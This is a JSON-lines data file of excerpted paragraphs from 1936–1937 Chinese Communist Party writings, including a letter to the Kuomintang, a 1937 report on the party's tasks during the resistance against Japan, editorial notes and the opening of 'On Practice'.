    {"text": "〔9〕 这封信对于国民党的反动统治和当时的国民党二中全会，作了义正词严的批判，同时申明了中国共产党关于建立抗日民族统一战线和准备重新建立国共合作的政策。"},
    {"text": "在贵党和贵党政府‘攘外必先安内’的口号之下，进行了连年不绝的内战，举行了无数次对于红军的围攻，不遗余力地镇压了全国人民的爱国运动和民主运动。"},
    {"text": "直至最近，还是放弃东北和华北不顾，忘记日本帝国主义是中国的最大敌人，而把一切力量反对红军和从事贵党自己营垒之间的内争，用一切力量拦阻红军的抗日去路，捣乱红军的抗日后方，漠视全国人民的抗日要求，剥夺全国人民的自由权利。"},
    {"text": "我们现在正告诸位先生，如果你们不根本改变自己的错误方针，如果不把仇恨之心放到日本帝国主义身上去，而依旧放在自己同胞身上的话，那末你们即欲勉强维持现状，也是不可能的，集中统一以及所谓‘现代国家’的说法，更是完全的空谈。"},
    {"text": "中国共产党和中国红军，今特郑重宣言：我们赞助建立全中国统一的民主共和国，赞助召集由普选权选举出来的国会，拥护全国人民和抗日军队的抗日救国代表大会，拥护全国统一的国防政府。 我们宣布：全中国统一的民主共和国建立之时，红色区域即可成为全中国统一的民主共和国的一个组成部分，红色区域人民的代表，将参加全中国的国会，并在红色区域实行和全中国一样的民主制度。"},
    {"text": "而诸位先生所要召集的国民大会，依据贵党政府所通过的《中华民国宪法草案》和《国民大会组织法及代表选举法》看来，也同样地不能有什么成就和不能得到人民的信任，因为这种国民大会仅仅是贵党和贵党政府少数官员们所操纵的机关，是这些官员们的附属品和装饰品。"},
    {"text": "我们认为抗日救国的国防会议，必须吸收各党各派各界各武装队伍的代表，构成真正能够决定抗日救国大计的权力机关，并从这一会议中产生全国统一的国防政府。"},
    {"text": "’诚然，贵党是中国最大部分领土中的统治的政党，一切过去实施的政治责任，不能不由贵党负担。 在一党专政的国民党政府之下，国民党决不能逃避其责任。"},
    {"text": "尤其是九一八事变以来，贵党违背全国民意，违背全民族利益，执行了绝对错误的政策，得到了丧失几乎半个中国的结果，这个责任是绝对不能推诿于任何别人的。"},
    {"text": "同时，贵党中许多有良心的分子，现在也确然憬悟于亡国的可怕和民意的不可侮，而开始了新的转变，开始了对于自己党中祸党祸国分子的愤怒和不满。 中国共产党完全同情于这种新的转变，热烈地欢迎这些有爱国心的有良心的中国国民党党员的志气和觉悟，欢迎他们在民族危亡面前愿意牺牲奋斗和勇于革新的精神。 我们知道，在贵党中央和各省党部中，中央和各省政府中，在教育界，在科学界，在艺术界，在新闻界，在实业界，在妇女界，在宗教界，在医药界，在警察界，在各种民众团体，尤其在广大的军队、国民党的新旧党员和各级领袖中，实在有很多觉悟和爱国的人士，并且这样的人还在日益增加着，这是非常可喜的现象。"},
    {"text": "我们希望这些国民党员能够在国民党中迅速形成一种支配的势力，去压倒那些不顾民族利益，实际成为日本帝国主义代理人，实际成为亲日汉奸的最坏和最可耻的国民党员——那些侮辱孙中山先生的国民党员，恢复孙中山先生革命的三民主义精神，重振孙中山先生的联俄联共和扶助农工的三大政策，把自己的‘心思才力’去‘贯彻’革命的三民主义和三大政策的‘始终’，‘贯彻’孙中山先生革命遗嘱的‘始终’。 我们希望他们和全国各党各派各界爱国领袖和爱国人民一道，坚决地担负继承孙中山先生革命事业的责任，坚决地为驱逐日本帝国主义、挽救中国于危亡而斗争，为全国人民的民主权利而斗争，为发展中国国民经济解除最大多数人民的痛苦而斗争，为实现中华民主共和国及其民主国会民主政府而斗争。 中国共产党向一切中国国民党人宣言：假如你们真正这样干的时候，我们坚决地赞助你们，我们愿意同你们结成一个坚固的革命的统一战线，如像一九二四年至一九二七年中国伟大的革命时期两党结成反对民族压迫和封建压迫的伟大的统一战线一样，因为这是今日救亡图存的唯一正确的道路。"},
    {"text": "中国共产党在抗日时期的任务 中国共产党在抗日时期的任务 * （一九三七年五月三日） 民族矛盾和国内矛盾的 目前发展阶段 （一）由于中日矛盾成为主要的矛盾、国内矛盾降到次要和服从的地位而产生的国际关系和国内阶级关系的变化，形成了目前形势的新的发展阶段。"},
    {"text": "一九二七年以国民党为代表的资产阶级叛变革命，出卖民族利益于帝国主义，造成了工农政权和国民党政权尖锐对立，以及民族和民主革命的任务不能不由中国共产党单独负担的局面。 （三）一九三一年九一八事变 〔1〕 特别是一九三五年华北事变 〔2〕 以来的形势，使这些矛盾发生了如下的变化： 甲、由一般帝国主义和中国的矛盾，变为特别突出特别尖锐的日本帝国主义和中国的矛盾。"},
    {"text": "这就是说，中国不但应当和中国人民的始终一贯的良友苏联相联合，而且应当按照可能，和那些在现时愿意保持和平而反对新的侵略战争的帝国主义国家建立共同反对日本帝国主义的关系。"},
    {"text": "共产党发展了在“九一八”后在三个条件（停止进攻革命根据地，保障人民的自由权利，武装人民）下和国民党中愿意同我们合作抗日的部分订立抗日协定的政策，成为建立全民族的抗日统一战线的政策。"},
    {"text": "这就是我党一九三五年八月宣言 〔3〕 ，十二月决议 〔4〕 ，一九三六年五月放弃“反蒋”口号 〔5〕 ，八月致国民党书 〔6〕 ，九月民主共和国决议 〔7〕 ，十二月坚持和平解决西安事变 〔8〕 ，一九三七年二月致国民党三中全会电 〔9〕 等等步骤之所由来。"},
    {"text": "此阶段内的重大事变，是学生界、文化界、舆论界的救亡运动，红军的进入西北，共产党的抗日民族统一战线政策的宣传和组织工作，上海和青岛的反日罢工 〔12〕 ，英国对日政策之趋向比较的强硬 〔13〕 ，两广事变 〔14〕 ，绥远战争和援绥运动 〔15〕 ，南京在中日谈判中的比较强硬的态度 〔16〕 ，西安事变，最后是南京国民党的三中全会。 这些事变，统统都是围绕着中国和日本对立这一基本矛盾的，都是直接围绕着建立抗日民族统一战线这个历史要求的。 这一阶段的革命基本任务，是争取国内和平，停止国内的武装冲突，以便团结一致，共同抗日。 共产党在此阶段内提出了“停止内战，一致抗日”的号召，这一号召是基本上实现了，这就构成了抗日民族统一战线实际组成上的第一个必要条件。"},
    {"text": "然而由于人民的逼迫和国民党内部的变动，国民党不能不开始转变它过去十年的错误政策，这即是由内战、独裁和对日不抵抗的政策，向着和平、民主和抗日的方向转变，而开始接受抗日民族统一战线政策，这种初步转变，在国民党三中全会上是表现出来了。"},
    {"text": "这就需要我们和全国人民更大地发展抗日和民主的运动，进一步地批评、推动和督促国民党，团结国民党内的主张和平、民主、抗日的分子，推动动摇犹豫分子，排除亲日分子，才能达到目的。"},
    {"text": "和希特勒、墨索里尼在西方加紧准备的强盗战争相呼应，日本在东方正在用尽一切气力在确定的步骤上准备一举灭亡中国的条件——国内军事的、政治的、经济的、思想的条件，国际外交条件，中国亲日势力的扶植。"},
    {"text": "而争取政治上的民主自由，则为保证抗战胜利的中心一环。 抗战需要全国的和平与团结，没有民主自由，便不能巩固已经取得的和平，不能增强国内的团结。 抗战需要人民的动员，没有民主自由，便无从进行动员。 没有巩固的和平与团结，没有人民的动员，抗战的前途便会蹈袭阿比西尼亚 〔17〕 的覆辙。"},
    {"text": "这方面，应从改变国民大会的选举和召集上违反民主的办法，实行民主的选举和保证大会的自由开会做起，直到制定真正的民主宪法，召集真正的民主国会，选举真正的民主政府，执行真正的民主政策为止。"},
    {"text": "全国人民及各党派的爱国分子，必须抛弃过去对于国民大会和制定宪法问题的冷淡，而集中力量于这一具体的带着国防意义的国民大会运动和宪法运动，严厉地批判当权的国民党，推动和督促国民党放弃其一党派一阶级的独裁，而执行人民的意见。 今年的几个月内，全国必须发起一个广大的民主运动，这运动的当前目标，应当放在国民大会和宪法的民主化的完成上。"},
    {"text": "（一○）我们的敌人——日本帝国主义、中国汉奸、亲日派、托洛茨基派 〔18〕 ，对于中国的和平统一、民主自由和对日抗战的每一个步骤，都竭尽全力来破坏。"},
    {"text": "今后在争取民主自由的斗争中，不但要向国民党顽固派和人民中的落后成分努力做宣传鼓动和批评的工作，而且要针对着日本帝国主义以及充任日本侵华走狗的亲日派和托洛茨基派的阴谋，作尽量的揭破和坚决的斗争。"},
    {"text": "（一一）为了和平、民主和抗战，为了建立抗日的民族统一战线，中国共产党曾在致国民党三中全会电中向他们保证下列四项：（1）共产党领导的陕甘宁革命根据地的政府改名为中华民国特区政府，红军改名为国民革命军，受南京中央政府及军事委员会的指导；"},
    {"text": "然而让步是有限度的。 在特区和红军中共产党领导的保持，在国共两党关系上共产党的独立性和批评自由的保持，这就是让步的限度，超过这种限度是不许可的。"},
    {"text": "孙中山先生的革命的三民主义，曾经因为孙先生与共产党合作加以坚决执行而取得人民的信仰，成为一九二四年至一九二七年的胜利的革命的旗帜。"},
    {"text": "但是一九二七年国民党排斥共产党（清党运动 〔21〕 和反共战争），实行相反的政策，招致革命的失败，陷民族于危险的地位，于是三民主义也就失去了人民的信仰。"},
    {"text": "因此，重新整顿三民主义的精神，在对外争取独立解放的民族主义、对内实现民主自由的民权主义和增进人民幸福的民生主义之下，两党重新合作，并领导人民坚决地实行起来，是完全适合于中国革命的历史要求，而应为每一个共产党员所明白认识的。"},
    {"text": "资产阶级尤其是大资产阶级既然退出革命，而且投靠帝国主义和封建势力，变为人民的敌人，则革命的动力便只剩下了无产阶级、农民和城市中的小资产阶级；"},
    {"text": "这里的特点是包括了资产阶级，这是因为资产阶级在今天的环境下，又有重新参加抗日的可能，所以无产阶级政党不应该拒绝他们，而应该招致他们，恢复和他们共同斗争的联盟，以利于中国革命的前进。"},
    {"text": "为了停止国内的武装冲突，共产党愿意停止使用暴力没收地主土地的政策，而准备在新的民主共和国建设过程中，用立法和别的适当方法去解决土地问题。"},
    {"text": "（一四）为了建立民族统一战线共同对敌，国内的某些矛盾，必须给予适当的解决，其原则是应当有助于抗日民族统一战线的增强和扩大，而不是使其削弱和缩小。 在民主革命阶段内，国内阶级间、党派间、政治集团间的矛盾和斗争是无法避免的，但是可以而且应该停止那些不利于团结抗日的斗争（国内战争，党派敌对，地方割据，一方面封建的政治压迫和经济压迫，一方面暴动政策和不利于抗日的过高的经济要求等等），而保存那些有利于团结抗日的斗争（批评的自由，党派的独立性，人民政治条件和经济条件的改善等等）。 （一五）在为抗日民族统一战线和统一的民主共和国而斗争的总任务之下，红军和抗日根据地的任务是：（1）使红军适合抗日战争的情况，应即改组为国民革命军，并将军事的政治的文化的教育提高一步，造成抗日战争中的模范兵团。 （2）根据地改为全国的一个组成部分，实行新条件下的民主制度，重新编制保安部队，肃清汉奸和捣乱分子，造成抗日和民主的模范区。"},
    {"text": "我们的领导责任 （一六）在某种历史环境能够参加反对帝国主义和反对封建制度的中国资产阶级，由于它在经济上政治上的软弱性，在另一种历史环境就要动摇变节，这一规律，在中国历史上已经证明了。"},
    {"text": "依现时的情况说来，离开了无产阶级及其政党的政治领导，抗日民族统一战线就不能建立，和平民主抗战的目的就不能实现，祖国就不能保卫，统一的民主共和国就不能成功。 在今天，以国民党为代表的资产阶级还带着很多的被动性和保守性，对于共产党发起的抗日民族统一战线，在长久的时期中表示不敢接受，就是证据。"},
    {"text": "例如我们提出了“抗日民族统一战线”和“统一的民主共和国”这样的基本口号，又提出了“停止内战”、“争取民主”、“实现抗战”的口号，作为全国人民一致行动的具体目标，没有这种具体目标，是无所谓政治领导的。"},
    {"text": "第二，是按照这种具体目标在全国行动起来时，无产阶级，特别是它的先锋队——共产党，应该提起自己的无限的积极性和忠诚，成为实现这些具体目标的模范。"},
    {"text": "在为抗日民族统一战线和民主共和国的一切任务而奋斗时，共产党员应该作到最有远见，最富于牺牲精神，最坚定，而又最能虚心体会情况，依靠群众的多数，得到群众的拥护。"},
    {"text": "我们的民主共和国，是在执行民族抗战任务的过程中建立起来的，是在无产阶级领导之下建立起来的，是在国际新环境之下（苏联社会主义的胜利，世界革命新时期的前夜）建立起来的。"},
    {"text": "因此，按照社会经济条件，它虽仍是资产阶级民主主义性质的国家，但是按照具体的政治条件，它应该是一个工农小资产阶级和资产阶级联盟的国家，而不同于一般的资产阶级共和国。"},
    {"text": "我们党在民众运动中，有严重的关门主义、高慢的宗派主义和冒险主义的传统倾向，这是一个妨碍党建立抗日民族统一战线和争取多数群众的恶劣的倾向。"},
    {"text": "为了达到克服上述这些不良倾向的目的，在全党中提高马克思列宁主义的理论水平是完全必要的，因为只有这种理论，才是引导中国革命走向胜利的指南针。"},
    {"text": "随后，日本帝国主义更策动汉奸制造所谓“华北五省自治运动”，企图使河北、察哈尔、绥远（现属内蒙古自治区）、山东、山西五省脱离中国政府的管辖。"},
    {"text": "〔3〕 这是指一九三五年八月一日中国共产党驻共产国际代表团以中国苏维埃中央政府、中国共产党中央委员会名义发表的《为抗日救国告全体同胞书》，通称“八一宣言”。 这个宣言的要点是：“今当我亡国灭种大祸迫在眉睫之时，共产党再一次向全体同胞呼吁：无论各党派间在过去和现在有任何政见和利害的不同，无论各界同胞间有任何意见上或利益上的差异，无论各军队间过去和现在有任何敌对行动，大家都应当有‘兄弟阋于墙外御其侮’的真诚觉悟，首先大家都应当停止内战，以便集中一切国力（人力、物力、财力、武力等）去为抗日救国的神圣事业而奋斗。 共产党特再一次郑重宣言：只要国民党军队停止进攻红军的行动，只要任何部队实行对日抗战，不管过去和现在他们与红军之间有任何旧仇宿怨，不管他们与红军之间在对内问题上有何分歧，红军不仅立刻对之停止敌对行为，而且愿意与之亲密携手共同救国。 ”“共产党愿意作成立这种国防政府的发起人，共产党愿意立刻与中国一切愿意参加抗日救国事业的各党派，各团体（工会、农会、学生会、商会、教育会、新闻记者联合会、教职员联合会、同乡会、致公堂、民族武装自卫会、反日会、救国会等等），各名流学者，政治家，以及一切地方军政机关，进行谈判共同成立国防政府问题。"},
    {"text": "这种国防政府，应当设法召集真正代表全体同胞（由工农军政商学各界，一切愿意抗日救国的党派和团体，以及国外侨胞和中国境内各民族，在民主条件下选出的代表）的代表机关，以便更具体地讨论关于抗日救国的各种问题。"},
    {"text": "在国防政府领导之下，组成统一的抗日联军总司令部。 这种总司令部或由各军抗日长官及士兵选出代表组成，或由其他形式组成，也由各方代表及全体人民公意而定。"},
    {"text": "为了使国防政府真能担当起国防重任，为了使抗日联军真能担负起抗日重责，共产党号召全体同胞：有钱的出钱，有枪的出枪，有粮的出粮，有力的出力，有专门技能的贡献专门技能，以便我全体同胞总动员，并用一切新旧式武器，武装起千百万民众来。"},
    {"text": "这个决议全面地分析了当时国内外的形势和阶级关系的变化，批判了成为当时党内主要危险的关门主义，确定了建立抗日民族统一战线的策略方针。"},
    {"text": "因此，党的策略路线，是在于发动、团结与组织全中国全民族一切革命力量去反对当前主要的敌人——日本帝国主义与卖国贼头子蒋介石。 不论什么人，什么派别，什么武装队伍，什么阶级，只要是反对日本帝国主义与卖国贼蒋介石的，都应该联合起来开展神圣的民族革命战争，驱逐日本帝国主义出中国，打倒日本帝国主义的走狗在中国的统治，取得中华民族的彻底解放，保持中国的独立与领土的完整。"},
    {"text": "有的是为了保持他们原有的地位，有的是为了要争取运动的领导权使运动不至超出他们所容许的范围之外，有的真是为了中华民族的彻底解放。 正因为他们的动机与立场各有不同，有的在斗争开始时就要动摇叛变的，有的会在中途消极或退出战线的，有的愿意奋斗到底的。"},
    {"text": "但是，我们的任务，是在不但要团结一切可能的反日的基本力量，而且要团结一切可能的反日同盟者，是在使全国人民有力出力，有钱出钱，有枪出枪，有知识出知识，不使一个爱国的中国人不参加到反日的战线上去。"},
    {"text": "一部分民族资产阶级与军阀，不管他们怎样不同意土地革命与红色政权，在他们对于反日反汉奸卖国贼的斗争采取同情，或善意中立，或直接参加之时，对于反日战线的开展都是有利的。"},
    {"text": "不但如此，即在地主买办阶级营垒中间，也不是完全统一的，由于中国过去是许多帝国主义互相竞争的结果，产生了各国帝国主义在中国的互相竞争的卖国贼集团，他们中间的矛盾与冲突，党亦应使用许多的办法使某些反革命力量暂时处于不积极的反对反日战线的地位。"},
    {"text": "党在发动团结与组织全中国人民的力量以反对全中国人民的公敌时，应该坚决不动摇地同反日统一战线内部一切动摇、妥协、投降与叛变的倾向做斗争。"},
    {"text": "一切破坏中国人民反日运动者，都是汉奸卖国贼，应该群起而攻之。 共产党应该以自己彻底的正确的反日反汉奸卖国贼的言论与行动去取得自己在反日战线中的领导权。"},
    {"text": "对反日战争中的广大民众，应该满足他们基本利益的要求（农民的土地要求，工人、士兵、贫民、知识分子等改良生活待遇的要求）。 只有满足了他们的要求，才能动员更广大的群众走进反日的阵地上去，才能使反日运动得到持久性，才能使运动走到彻底的胜利。"},
    {"text": "通电内容如下：“南京国民政府军事委员会，全体海陆空军，全国各党、各派、各团体、各报馆，一切不愿意当亡国奴的同胞们：自从中国红军革命军事委员会组织中国人民红军抗日先锋军渡河东征以来，所向皆捷，全国响应。"},
    {"text": "但正当抗日先锋军占领同蒲铁路，积极准备东出河北与日本帝国主义直接作战之时，蒋介石氏竟以十师以上兵力开入山西，协同阎锡山氏阻拦红军抗日去路，并命令张学良杨虎城两氏及陕北军队向陕甘红色区域挺进，扰乱我抗日后方。 中国人民红军抗日先锋军，本当集中全力消灭蒋氏拦阻抗日去路的部队，以达到对日直接作战之目的。"},
    {"text": "且在蒋介石、阎锡山两氏的部队中，不少愿意停止内战、一致抗日的爱国军人，目前接受两氏的命令，拦阻红军抗日去路，实系违反自己良心的举动。 因此，红军革命军事委员会为了保存国防实力，以便利于迅速进行抗日战争，为了坚决履行我们每次向国人宣言停止内战、一致抗日的主张，为了促进蒋介石氏及其部下爱国军人们的最后觉悟，故虽在山西取得了许多胜利，仍然将人民抗日先锋军撤回黄河西岸。"},
    {"text": "以此行动向南京政府、全国海陆空军、全国人民表示诚意，我们愿意在一个月内与所有一切进攻抗日红军的武装队伍，实行停战议和，以达到停战抗日的目的。"},
    {"text": "红军革命军事委员会特慎重地向南京政府诸公进言，在亡国灭种紧急关头，理应翻然改悔，以‘兄弟阋于墙外御其侮’的精神，在全国范围、首先在陕甘晋停止内战，双方互派代表磋商抗日救亡的具体办法。"},
    {"text": "红军革命军事委员会更号召全国凡属不愿意做亡国奴的团体、党派、人民，赞助我们停战议和、一致抗日的主张，组织停止内战促进会，派遣代表隔断双方火线，督促并监视这一主张的完全实现。"},
    {"text": "〔7〕 指一九三六年九月十七日中共中央通过的《关于抗日救亡运动的新形势与民主共和国的决议》。 一九三五年十二月中共中央政治局会议通过的《关于目前政治形势与党的任务决议》和毛泽东的《论反对日本帝国主义的策略》的报告，提出了人民共和国的口号。 随后，根据情况的需要，中国共产党采取了逼蒋抗日的政策，估计人民共和国这个口号不会为蒋介石集团所接受，于是在一九三六年八月致国民党信中，改用了民主共和国的口号。"},
    {"text": "下面是一九三六年九月十七日中共中央通过的决议中关于民主共和国问题的两节：“中央认为在目前形势之下，有提出建立民主共和国口号的必要，因为这是团结一切抗日力量来保障中国领土完整和预防中国人民遭受亡国灭种的惨祸的最好方法，而且这也是从广大人民的民主要求产生出来的最适当的统一战线的口号。 民主共和国是较之一部分领土上的工农民主专政制度在地域上更普及的民主，较之全中国主要地区上国民党的一党专政大大进步的政治制度，因此便更能保障抗日战争的普遍发动与彻底胜利。 同时，民主共和国不但能够使全中国最广大的人民群众参加到政治生活中来，提高他们的觉悟程度与组织力量，而且也给中国无产阶级及其首领共产党为着将来的社会主义的胜利而斗争以自由活动的舞台。"},
    {"text": "并且宣布：民主共和国在全中国建立、依据普选的国会实行召集之时，红色区域即将成为它的一个组成部分，红色区域人民将选派代表参加国会，并将在红色区域内完成同样的民主制度。"},
    {"text": "”“中央着重指出：只有继续开展全中国人民的抗日救亡运动，扩大各党各派各界各军的抗日民族统一战线，加强中国共产党在民族统一战线中的政治领导作用，极大地巩固红色政权与红军，同一切丧权辱国及削弱民族统一战线力量的言论行动进行坚决的斗争，我们才能推动国民党南京政府走向抗日，才能给民主共和国的实现准备前提。"},
    {"text": "中国共产党在为民主共和国而斗争的过程中，应该使这个民主共和国从实行本党所提出的抗日救国十大纲领开始，一直到中国资产阶级民主革命的基本任务彻底的完成。"},
    {"text": "〔9〕 这个电报于一九三七年二月十日发出，内容如下：“中国国民党三中全会诸先生鉴：西安问题和平解决，举国庆幸，从此和平统一团结御侮之方针得以实现，实为国家民族之福。"},
    {"text": "当此日寇猖狂，中华民族存亡千钧一发之际，本党深望贵党三中全会，本此方针，将下列各项定为国策：（一）停止一切内战，集中国力，一致对外；"},
    {"text": "如贵党三中全会果能毅然决然确定此国策，则本党为着表示团结御侮之诚意，愿给贵党三中全会以如下之保证：（一）在全国范围内停止推翻国民政府之武装暴动方针；"},
    {"text": "迫于全国人民停止内战、一致抗日的要求，会议实际上接受了国共两党合作抗日的政策，确定了和平统一、修改选举法、扩大民主、释放政治犯等原则。"},
    {"text": "〔13〕 一九三三年日本帝国主义侵占山海关进入华北以后，特别是自一九三五年《何梅协定》以后，英美帝国主义在华北华中的利益，直接受到日本帝国主义的打击，因此，英美就开始改变对于日本的态度，并且给国民党政府的对日政策以影响。 一九三六年西安事变发生的时候，英国曾经主张拒绝日本所提出的不利于英国在华利益的要求，甚至表示只要国民党政府还能够继续统治中国人民，就不妨和“共产党采取某种形式的联合”，以便打击日本企图独占全中国的政策。"},
    {"text": "〔15〕 一九三六年七月底至八月初，日本侵略军和伪蒙军向绥远（现划归内蒙古自治区）东北部进攻，当地驻军傅作义所部在全国人民抗日救亡运动的推动下，奋起抗战，击退这次进犯。"},
    {"text": "〔16〕 一九三六年，由于中国人民抗日潮流的压力和英美同日本争夺中国的矛盾日益尖锐，南京国民党政府对于日本帝国主义的侵略采取了比较强硬的态度。"},
    {"text": "〔20〕 这里所说的三民主义，是指孙中山在《中国国民党第一次全国代表大会宣言》中所重新解释的三民主义。 中国共产党在资产阶级民主革命阶段中同意孙中山重新解释的三民主义中革命的民族主义、民权主义和民生主义这三个政治原则，但并不同意他所代表的资产阶级和小资产阶级的宇宙观或理论体系。"},
    {"text": "一九二七年蒋介石、汪精卫相继叛变革命以后，在全国各地屠杀共产党人以及国民党内许多真正拥护孙中山三大政策的左派分子，他们称之为“清党运动”。"},
    {"text": "国民党三中全会 〔1〕 后，我们说和平已经取得，“争取和平”的阶段已经过去，新的任务是“巩固和平”，并指出这是同“争取民主”相关联的——用争取民主去巩固和平。"},
    {"text": "然而西安事变 〔3〕 后和平实现是事实，这种情况是由多方面促成的（日本进攻的基本方针，苏联和英美法的赞助和平，中国人民的逼迫，共产党在西安事变中的和平方针及停止两个政权敌对的政策，资产阶级的分化，国民党的分化等等），不是蒋介石一个人所能决定和推翻的。"},
    {"text": "在这种情况下，我们的结论不是回到“停止内战”或“争取和平”的旧口号去，而是前进一步，提出“争取民主”的新口号，只有这样才能巩固和平，也只有这样才能实现抗战。"},
    {"text": "如果否认新阶段和新任务，否认国民党的“开始转变”，并且逻辑的结论也将不得不否认一年半以来一切为争取和平而斗争的各派势力努力的成绩，那末，只是把自己停顿在旧位置，一步也没有前进。"},
    {"text": "原因在于他们观察时局不从根本之点出发，而从许多局部和一时的现象（佐藤外交，苏州审判 〔4〕 ，压制罢工，东北军东调 〔5〕 ，杨虎城出洋 〔6〕 等等）出发，于是形成一幅暗淡的画图。"},
    {"text": "不少号称“左”倾的人们，平日痛骂国民党，在西安事变中主张杀蒋和“打出潼关去” 〔7〕 ，及至和平刚刚实现又发现苏州审判等事，就用惊诧的口气发问道：“为什么蒋介石又这样干？"},
    {"text": "多数人只要抗日不要民主，再来一个‘一二九’就对了。 ” 让我首先发出一点问题：能够在过去阶段中（一九三五年一二九运动 〔9〕 到一九三七年二月国民党三中全会）说，多数人只要抗日不要和平吗？"},
    {"text": "前一阶段一切直接间接的抗日行动（从“一二九”起到国民党三中全会止）都围绕着争取和平，和平是前一阶段的中心一环，是抗日运动在前一阶段中的最本质的东西。"},
    {"text": "对于抗日任务，民主也是新阶段中最本质的东西，为民主即是为抗日。 抗日与民主互为条件，同抗日与和平、民主与和平互为条件一样。 民主是抗日的保证，抗日能给予民主运动发展以有利条件。 新阶段中，我们希望有、也将会有许多直接的间接的反日斗争，这些将推动对日抗战，也大有助于民主运动。"},
    {"text": "收复冀东察北、反对走私、反对“经济提携”等等，如像同志们所提出的，都是很对的，但这丝毫也不与民主任务和国民大会相矛盾，二者正是互相完成的，但中心的东西是国民大会和人民自由。"},
    {"text": "从资产阶级占优势到无产阶级占优势，这是一个斗争的长过程，争取领导权的过程，依靠着共产党对无产阶级觉悟程度组织程度的提高，对农民、对城市小资产阶级觉悟程度组织程度的提高。"},
    {"text": "因为资产阶级参加革命的暂时性而不要资产阶级，指联合资产阶级的抗日派（在半殖民地）为投降主义，这是托洛茨基主义的说法，我们是不能同意的。"},
    {"text": "在一个四亿五千万人的中国里面，进行历史上空前的大革命，如果领导者是一个狭隘的小团体是不行的，党内仅有一些委琐不识大体、没有远见、没有能力的领袖和干部也是不行的。"},
    {"text": "这些干部和领袖懂得马克思列宁主义，有政治远见，有工作能力，富于牺牲精神，能独立解决问题，在困难中不动摇，忠心耿耿地为民族、为阶级、为党而工作。 党依靠着这些人而联系党员和群众，依靠着这些人对于群众的坚强领导而达到打倒敌人之目的。 这些人不要自私自利，不要个人英雄主义和风头主义，不要懒惰和消极性，不要自高自大的宗派主义，他们是大公无私的民族的阶级的英雄，这就是共产党员、党的干部、党的领袖应该有的性格和作风。"},
    {"text": "大会的团结和全党的团结 大会中政治问题上的不同意见，经过说明已经归于一致了； 过去中央路线和个别同志领导的退却路线之间的分歧，也已经解决了 〔14〕 ，表示了我们的党已经团结得很坚固。"},
    {"text": "〔2〕 西安事变以后，日本帝国主义为了破坏当时已开始实现的中国国内和平和正在逐渐形成中的抗日民族统一战线，在加紧准备以武力征服中国的同时，表面上对国民党当局暂时采取了和缓姿态。"},
    {"text": "一九三六年十二月和一九三七年一月，日本帝国主义曾两次唆使伪蒙古军政府发表通电，拥护国民党政府集中军力进攻红军和张学良、杨虎城部队，宣称同国民党军队停止作战。"},
    {"text": "〔4〕 一九三六年十一月，国民党政府逮捕了全国各界救国联合会领导人沈钧儒、章乃器、邹韬奋、李公朴、王造时、沙千里、史良等七人，随后又把他们押到苏州，在国民党江苏高等法院看守所内监禁。"},
    {"text": "一九三七年四月，这个法院的检察官对沈等提出“公诉”，并于六月十一日和六月二十五日两次开庭审判，说他们违犯了所谓“危害民国紧急治罪法”。"},
    {"text": "〔5〕 西安事变以前，东北军驻在陕西、甘肃境内，同西北红军直接接触，深受中国共产党抗日民族统一战线政策的影响，促成了西安事变的发生。"},
    {"text": "抗日战争爆发后，杨虎城于一九三七年十一月回国准备参加抗日工作，但不久也被蒋介石逮捕长期监禁，到一九四九年九月人民解放军迫近重庆的时候，在集中营内遇害。"},
    {"text": "〔8〕 一九一八年至一九二○年，法国政府积极地参加了十四个国家对苏维埃共和国的武装干涉，并在这次干涉失败以后继续执行孤立苏联的反动政策。"},
    {"text": "直到一九三五年五月，由于苏联的日益强大及其和平外交政策在法国人民中的影响，由于法西斯德国对法国的威胁，法国政府才同苏联缔结了互助条约。"},
    {"text": "〔11〕 参见马克思、恩格斯《共产党宣言》第四部分（《马克思恩格斯选集》第1卷，人民出版社1972年版，第284—286页），列宁《社会民主党在民主革命中的两种策略》第十二、十三部分（《列宁全集》第11卷，人民出版社1987年版，第76—97页）和《联共（布）党史简明教程》第三章第三节（人民出版社1975年版，第68—84页）。 〔12〕 参见斯大林《论列宁主义基础》第三部分，《十月革命和俄国共产党人的策略》第二部分，《论列宁主义的几个问题》第三部分（《斯大林选集》上卷，人民出版社1979年版，第199—214、279—293、400—402页）。"},
    {"text": "”（《斯大林选集》下卷，人民出版社1979年版，第373页） 〔14〕 这里所说的分歧，指一九三五年至一九三六年间党中央路线和张国焘退却路线之间的分歧。"},
    {"text": "一九三七年三月下旬，中共中央在延安召开政治局扩大会议，讨论国内政治形势和党的任务，对张国焘路线的错误及其危害进行了系统的批判和总结，使党和红军在思想上、政治上和组织上达到新的一致，标志着这个分歧已经解决。"},
    {"text": "实践论 实践论 * 论认识和实践的关系 ——知和行的关系 （一九三七年七月） 马克思以前的唯物论，离开人的社会性，离开人的历史发展，去观察认识问题，因此不能了解认识对社会实践的依赖关系，即认识对生产和阶级斗争的依赖关系。"},
    {"text": "人的认识，主要地依赖于物质的生产活动，逐渐地了解自然的现象、自然的性质、自然的规律性、人和自然的关系； 而且经过生产活动，也在各种不同程度上逐渐地认识了人和人的一定的相互关系。"},
    {"text": "在没有阶级的社会中，每个人以社会一员的资格，同其他社会成员协力，结成一定的生产关系，从事生产活动，以解决人类物质生活问题。 在各种阶级的社会中，各阶级的社会成员，则又以各种不同的方式，结成一定的生产关系，从事生产活动，以解决人类物质生活问题。"},
    {"text": "人的社会实践，不限于生产活动一种形式，还有多种其他的形式，阶级斗争，政治生活，科学和艺术的活动，总之社会实际生活的一切领域都是社会的人所参加的。 因此，人的认识，在物质生活以外，还从政治生活文化生活中（与物质生活密切联系），在各种不同程度上，知道人和人的各种关系。"},
    {"text": "马克思主义者认为人类社会的生产活动，是一步又一步地由低级向高级发展，因此，人们的认识，不论对于自然界方面，对于社会方面，也都是一步又一步地由低级向高级发展，即由浅入深，由片面到更多的方面。 在很长的历史时期内，大家对于社会的历史只能限于片面的了解，这一方面是由于剥削阶级的偏见经常歪曲社会的历史，另方面，则由于生产规模的狭小，限制了人们的眼界。 人们能够对于社会历史的发展作全面的历史的了解，把对于社会的认识变成了科学，这只是到了伴随巨大生产力——大工业而出现近代无产阶级的时候，这就是马克思主义的科学。"},
    {"text": "马克思主义者认为，只有人们的社会实践，才是人们对于外界认识的真理性的标准。 实际的情形是这样的，只有在社会实践过程中（物质生产过程中，阶级斗争过程中，科学实验过程中），人们达到了思想中所预想的结果时，人们的认识才被证实了。 人们要想得到工作的胜利即得到预想的结果，一定要使自己的思想合于客观外界的规律性，如果不合，就会在实践中失败。 人们经过失败之后，也就从失败取得教训，改正自己的思想使之适合于外界的规律性，人们就能变失败为胜利，所谓“失败者成功之母”，“吃一堑长一智”，就是这个道理。"},
